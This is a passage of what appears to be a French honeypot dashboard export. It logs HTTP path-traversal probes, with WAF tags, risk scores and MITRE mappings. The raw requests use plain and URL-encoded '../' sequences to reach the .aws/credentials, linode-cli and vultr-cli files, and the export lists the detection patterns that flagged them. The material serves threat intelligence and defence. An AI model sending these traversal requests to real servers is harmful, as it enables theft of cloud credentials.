"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:13 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../root/.vultr-cli.yaml
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../root/.vultr-cli.yaml UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../root/.vultr-cli.yaml
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../root/.vultr-cli.yaml
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../root/.vultr-cli.yaml HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /../../../../../../../root/.vultr-cli.yaml HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
Requête brute (extrait)
GET /../../../../../../../root/.vultr-cli.yaml HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 9,
"http_path_ext": "yaml",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "1eeca663c553851ad7499f7cbd1ad20d9e6e80ec",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 226,
"payload_entropy": 5.216459828091697,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "cc3e58c81c961e05dcb4645e8326bcfe781f9dd9",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "a3dbd37f0009d9965afc0b9a38c837f8",
"path_pattern_hash": "d734e20ac8166a0345add54461c75638"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d03ede083aa6f776e9a9256f3b5a7ea222e373f8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.vultr-cli.yaml HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64;",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /..%2f..%2f..%2f..%2f..%2f..%2froot/.aws/creden…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.aws/credentials UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/..%2f..%2f..%2f..%2f..%2f..%2froot/.aws/credentials
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/..%2f..%2f..%2f..%2f..%2f..%2froot/.aws/credentials
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
CRS-930100-sub
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred AWS credentials file
Ligne de requête
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.aws/credentials HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.aws/credentials HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Wind
Requête brute (extrait)
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.aws/credentials HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "aws\/credentials",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "800bcbe784804d745a135aca59b5c3cb66cc498b",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.300846500413177,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "992e0cf365725b448c2894f7aa553ace7e8e0a90",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 183,
"precision_signals": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0468"
],
"matched_pattern_names": [
"Cred AWS credentials file"
],
"pattern_ids": [
"pat-0468"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "c317b513c423c2aeb1d7f9b6e4d94353",
"path_pattern_hash": "e2025c52bbba17e86b3da3b8a2cc6050"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Wind",
"method": "GET",
"path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials HTTP\/1.1",
"request_sample": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Wind",
"evidence": {
"method": "GET",
"path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials HTTP\/1.1",
"request_sample": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Wind",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1fdab3fd280160485f9d86e53eef5e2b884eb557",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials",
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Wind",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/creden\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Lfi",
"CRS-930100-sub",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials",
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/creden\u2026",
"evidence_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Wind",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
